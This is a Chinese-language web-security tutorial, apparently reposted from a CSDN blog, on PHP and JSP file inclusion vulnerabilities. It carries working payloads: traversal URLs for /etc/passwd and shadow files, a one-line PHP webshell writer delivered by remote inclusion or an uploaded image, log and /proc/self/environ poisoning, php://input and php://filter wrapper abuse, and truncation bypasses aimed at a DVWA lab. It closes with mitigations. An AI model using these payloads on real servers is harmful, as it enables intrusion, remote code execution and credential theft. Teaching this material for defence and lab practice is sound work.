文件包含漏洞

本文阅读 16 分钟

img

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程称之为包含。

开发人员肯定都希望代码会更加灵活,所以通常会将被包含的文件设置为变量,用来进行动态调用,但如果对这个动态变量过滤的不严格,导致客户端可以调用一个恶意文件,就会造成文件包含漏洞。 文件包含其实就是代码注入的一种,其原理是注入一段用户能够控制的脚本或者代码,让服务器端去执行。文件包含最常见的是在PHP语言中,但是其他语言中也存在,如JSP、ASP、.NET等,但是很少几乎没有。本文主要看PHP、Java相关的文件包含。

是指当服务器开启allow_url_include选项的时候,通过php某些特性函数、如include()、include_once()、require()、require_once(),使用url动态的去包含文件,此时如果对包含的文件没有进行过滤,就可能导致任意文件读取和任意命令执行。

include():
在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行。
include_once():
仅包含一次,如果文件已经被包含过,则不再包含,在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行。
require():
在包含的过程中如果出现错误,会直接报错并退出程序的执行。
require_once():
仅包含一次,如果文件已经被包含过,则不再包含,包含的过程中如果出现错误,会直接报错并退出程序的执行。

当我们使用这四个函数去包含一个新文件时,php的内核并不会在意被包含的文件是什么类型,所以不管被包含的文件是txt文件、图片文件、脚本文件、远程URL,都会将该文件作为一个php文件去执行。如果文件内容是可执行的php文件,则以php文件执行,如果文件非php文件,则会打印出文件内容。

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。 示例代码:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

$_GET['filename']参数在没有任何校验的情况下,直接带入到了include中,此时如果攻击者构造$_GET['filename']的值,传入其他参数,则可以执行系统非预期的操作。

2.1、本地文件包含(LFI)

当包含的文件在服务器本地时,就造成了本地文件包含漏洞。

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

page参数没有经过任何校验可以直接传入$file中,这个时候,当我们传入的参数是系统路径下的文件时。

2.1.1、绝对路径

1、我们使用绝对路径。虽然没有直接成功读取到文件,但是暴露了服务器的绝对路径 img 2、我们利用暴露的绝对路径就可以成功构造出读取php.ini文件的路径 img

2.1.2、相对路径

很多时候,我们需要去使用…去构造相对路径,加这么多…的作用是可以利用它到达网站根目录。 img

2.2、远程文件包含(RFI)

当包含的文件在远程服务器上时,如果此时对包含的文件没有做任何校验,就容易造成了远程文件包含漏洞。

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

2.2.1、远程文件包含的条件 1、php.ini文件中的allow_url_fopen=on(允许打开远程文件)allow_url_include=on(是否允许include/require远程文件) 2、代码示例

<?php 
    $basePath = $_GET['path'];
    require_once $basePath . "/action/m_share.php";  
?>
``         `
这里看似将路径的后半段都定死了,但是我们可以利用HTTP传参的原理绕过去。
构造类似如下的攻击URL:

http://127.0.0.1/incude/index.php?path=http://localhost/test/1.php?


最终目标应用程序代码实际上执行了:

require_once "http://localhost/test/1.php?/action/m_share.php";

"?"后面的代码被解释成URL的querystring,这也是一种"截断"思想,和%00一样。




## 3.1、任意文件读取

访问URL:http://xxx.xxx.com/index.php?page=/etc/passwd。如果目标主机文件存在,并且有相应的权限,那么就可以读出文件的内容,反之,就会得到一个类似于:open_basedir restriction in effect.的警告。

常见的敏感信息路径(这里和上一篇文章的文件下载和读取的路径其实都是差不多的):

Windows系统

c:boot.ini //查看系统版本

c:windowssystem32inetsrvMetaBase.xml // IIS配置文件

c:windowsrepairsam // 存储Windows系统初次安装的密码

c:ProgramFilesmysqlmy.ini // MySQL配置

c:ProgramFilesmysqldatamysqluser.MYD // MySQL root密码

c:windowsphp.ini // php 配置信息

Linux/Unix系统

/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

日志默认路径

(1) apache+Linux 日志默认路径

  /etc/httpd/logs/access_log
  /var/log/httpd/access_log (2) apache+win2003 日志默认路径

   apachelogsaccess.log
   apachelogserror.log (3) IIS6.0+win2003 默认日志文件
   C:WINDOWSsystem32Logfiles (4) IIS7.0+win2003 默认日志文件
   %SystemDrive%inetpublogsLogFiles (5) nginx 日志文件
   日志文件在用户安装目录 logs 目录下

web 中间件默认配置

(1) apache+linux 默认配置文件

    /etc/httpd/conf/httpd.conf (2) IIS6.0+win2003 配置文件
    C:/Windows/system32/inetsrv/metabase.xml (3) IIS7.0+WIN 配置文件
    C:\Windows\System32\inetsrv\config\applicationHost.config

## 3.2、远程包含shell

如果目标主机的allow_url_fopen选项是开启的,就可以尝试远程包含一句话木马,如http://www.xxx.com/echo.txt,代码如下:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST[cmd]);?>")?>


访问http://xxx.xxx.com/index.php?page=http://www.xxx.com/echo.txt,将会在index.php目录下生成shell.php。 内容为:

<?php eval($_POST[cmd]);?>


## 3.3、本地包含配合文件上传

很多服务器都会提供上传的功能,假设已经上传了一句话图片码到服务器,路径为:/uploadfile/12313.jpg, 图片代码为:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST[cmd]);?>")?>


访问URL:http://xxx.xxx.com/index.php?page=./uploadfile/12313.jpg,包含这张图片,将会在index.php目录下生成shell.php。

## 3.4、包含日志文件:

我们在url中输入的信息一般都会保存到日志文件中,如果我们在url中输入脚本代码,那么这个脚本代码也会保存到日志文件中,如果此时我们知道这个脚本保存的日志文件的路径,那么我们可以直接连接执行。这个方法在凌晨的时候是最方便的,因为大部分日志文件是一天一保存,凌晨时候,日志文件最少,我们利用起来更加方便。 常见的日志路径:

/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/www/logs/httpd_log
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/log/apache-ssl/access.log
/var/log/apache-ssl/error.log
/var/log/httpd/access_log
/var/log/httpd/error_log
/var/log/httpd/ssl.access_log
/var/log/httpd/ssl_log
/var/log/httpd_log
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access.log
/var/www/logs/access_log
/var/www/logs/error.log
/var/www/logs/error_log
/opt/lampp/logs/access.log
/opt/lampp/logs/error_log
C:apachelogsaccess.log
C:apachelogserror.log
C:Program FilesApache GroupApachelogsaccess.log
C:Program FilesApache GroupApachelogserror.log
C:program fileswampapache2logs
C:wampapache2logs
C:wamplogs
C:xamppapachelogsaccess.log
C:xamppapachelogserror.log


## 3.5、包含/proc/self/environ文件

proc 是 Processes(进程) 的缩写,/proc 是一种伪文件系统(也即虚拟文件系统),存储的是当前内核运行状态的一系列特殊文件,这个目录是一个虚拟的目录,它是系统内存的映射,我们可以通过直接访问这个目录来获取系统信息。这个目录的内容不在硬盘上而是在内存里,我们也可以直接修改里面的某些文件。

/proc/self/environ:当前正在运行的进程的环境变量列表


利用方法:

1、找到文件包含漏洞,尝试访问/proc/self/environ文件,访问:http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=../../../../../proc/self/environ 访问成功的话,会出现类似于下方的内容:

DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=http://127.0.0.1/DVWA-master/vulnerabilities/fi/?
HTTP_REFERER=http://127.0.0.1/DVWA-master/vulnerabilities/fi/ ?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.……


说明/proc/self/environ文件可以访问,如果访问时返回空白页,则说明无法访问,或其他情况。

2、然后在user-agent头中添加脚本代码即可



PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流


## 4.1、php://input协议

php://input 默认接收post传来的参数,可以直接读取到POST上没有经过解析的原始数据,我们也可以使用input上传我们需要执行的语句(一句话,命令)等。

条件: php &lt;5.0 ,allow_url_include=Off 情况下也可以用 php &gt; 5.0,只有在allow_url_fopen=On 时才能使用   1、php://input(命令执行) 条件:开启 allow_url_fopen 和 allow_url_include(PHP &lt; 5.30) 我们以这段代码为例:

<?php
$file = $_GET[ 'page' ];
include($file);
?>


我们抓包,将原本的参数改为php://input,在正文中我们通过php命令将需要执行的命令发送过去即可。


2、php://input(写入一句话) 使用hackbar工具,将传入的参数改为php://input,通过post传入写好的木马,即可在该目录下创建一个内容为 ![img](https://img-blog.csdnimg.cn/20201224120819598.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3N5Y2Ftb3JlbGc=,size_16,color_FFFFFF,t_70)

## 4.2、php://filter协议

我们可以使用这个协议查看源码,不过源码是以base64加密传输过来的

1、?filename=php://filter/convert.base64-encode/resource=x.php




我们可以看到,使用php://filter伪协议获得的源码以base64加密方式显示在页面,我们再解密就可以得到源码 ![img](https://img-blog.csdnimg.cn/20201224112246243.png) ![img](https://img-blog.csdnimg.cn/2020122411221880.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3N5Y2Ftb3JlbGc=,size_16,color_FFFFFF,t_70)

2、?filename=php://filter/read=convert.base64-encode/resource=x.php


这个我们在使用的时候,只要allow_url_fopen=on即可。

## 4.3、data://

数据流封装器,将原本的include的文件流重定向到了用户可控制的输入流中 php &gt; 5.0,只有在allow_url_fopen=On 时才能使用 data://协议、主要是使用文字和图片命令,直接在url中进行构造 文字命令和php://input中的一句话类似,图片命令主要是图片马

## 4.4、file://协议


file协议可以访问本地文件系统,读取文件的内容。 ![img](https://img-blog.csdnimg.cn/20201224122108725.png)

还有其他的一些伪协议。



## 1、00%进行截断

需要magic_quotes_gpc = off且php版本&lt;5.3.4。

127.0.0.1/DVWA-master/vulnerabilities/fi/?page=/etc/passwd%00


## 2、使用.和/构造超长字符串进行截断

Windows 上的文件名长度和文件路径有关。 具体关系为: 从根目录计算, 文件路径长度最长为 259 个 bytes,msdn 定义 #define MAX_PATH 260, 其中第 260 个字符为字符串结尾的 \0 。linux可以用getconf来判断文件名长度限制和文件路径长度限制。获取最长文件路径长度: getconf PATH_MAX /root 得到 4096 获取最长文件名: getconf NAME_MAX /root 得到 255。在长度有限的时候,我们就可以通过./将路径爆掉。

127.0.0.1/DVWA-master/vulnerabilities/fi/?page=123.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././


## 3、使用.进行截断

条件:windows ,点号需要长于256字节,超出的部分会被丢弃。

127.0.0.1/DVWA-master/vulnerabilities/fi/?page=123.txt..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................


## 4、使用?进行截断,使用原理和%00相同

127.0.0.1/DVWA-master/vulnerabilities/fi/?page=/etc/passwd?


## 5、特殊字符绕过

某些情况下, 读文件支持使用 Shell 通配符, 如 ? * 等,url 中 使用 ? # 可能会影响 include 包含的结果,某些情况下, unicode 编码不同但是字形相近的字符有同一个效果。

## 6、url 编码绕过

如果 WAF 中是字符串匹配, 可以使用 url 多次编码的方式可以绕。



JSP文件包含分为两种:静态包含和动态包含。

## 6.1、静态包含

<%@ include file="page.txt"%>为JSP中的静态包含语句,静态包含语句是先进行包含,再做处理操作。 a.txt文件内容如下:

<%@ page language="java" import="java.util.*" pageEncoding="gbk"%>
<%

    out.println("我是A也页面");

%>


尝试用index.php来包含a.txt,代码如下:

<%@ include file="a.txt" %>


用浏览器访问index.jsp,此时a.txt文件会被当做JSP文件来解析。

但是在JSP语法中规定,include指令为静态包含,只允许包含一个已经存在于服务器的文件,而不能使用变量来控制包含某个文件。这就意味着使用include指令将不存在文件包含漏洞。

## 6.2、动态包含

<jsp:include page="page.txt">为动态包含语句。动态包含与静态包含恰恰相反,在运行时,首先处理被包含页面,然后再进行包含,而且可以包含一个动态页面(变量)。

<%

String pages=request.getParameter("page");

%>
<jsp:include page="<%=pages%>" ></jsp:include>


当我们包含a.txt时,会发现,当jsp:include/标签包含一个非JSP文件扩展名时,即使其内容符合JSP语法,也会读取源代码,而不会进行解析

标签在包含一个非JSP后缀文件时,即使其内容符合语法规范,也只会读取其源代码,而不会进行解析。这就意味着JSP所包含的页面即使被攻击者控制,攻击者得到的信息也是有限的。此时攻击者往往会包含一些web容器的配置文件,比如Tomcaat的user.xml。


1.在不必须的情况下,关闭allow_url_include选项; 2.使用白名单和黑名单对可包含的文件进行限制; 3.尽量不使用动态包含; 4.严格判断包含中的参数是否外部可控。



一、大多数情况下,可以读取/ etc / passwd文件和外壳程序历史记录文件来查找信息泄漏。但是,也可以使用文件包含来读取proc文件系统


二、每个进程都有自己的一组属性。如果具有PID编号并可以访问该进程,则可以获得有关它的一些有用信息,例如其环境变量和运行的任何命令行选项。有时还可以获得其中的密码。


三、本地文件包含和目录遍历    目录遍历:服务器允许攻击者读取普通Web服务器目录之外的文件或目录。本地文件包含使攻击者能够在Web服务器的响应中包含任意本地文件(来自Web服务器)。这两个漏洞都可用于从服务器读取任意文件。
本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/sycamorelg/article/details/111318278
-- 展开阅读全文 --
Web安全—逻辑越权漏洞(BAC)
« 上一篇 03-13
Redis底层数据结构--简单动态字符串
下一篇 » 04-10

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复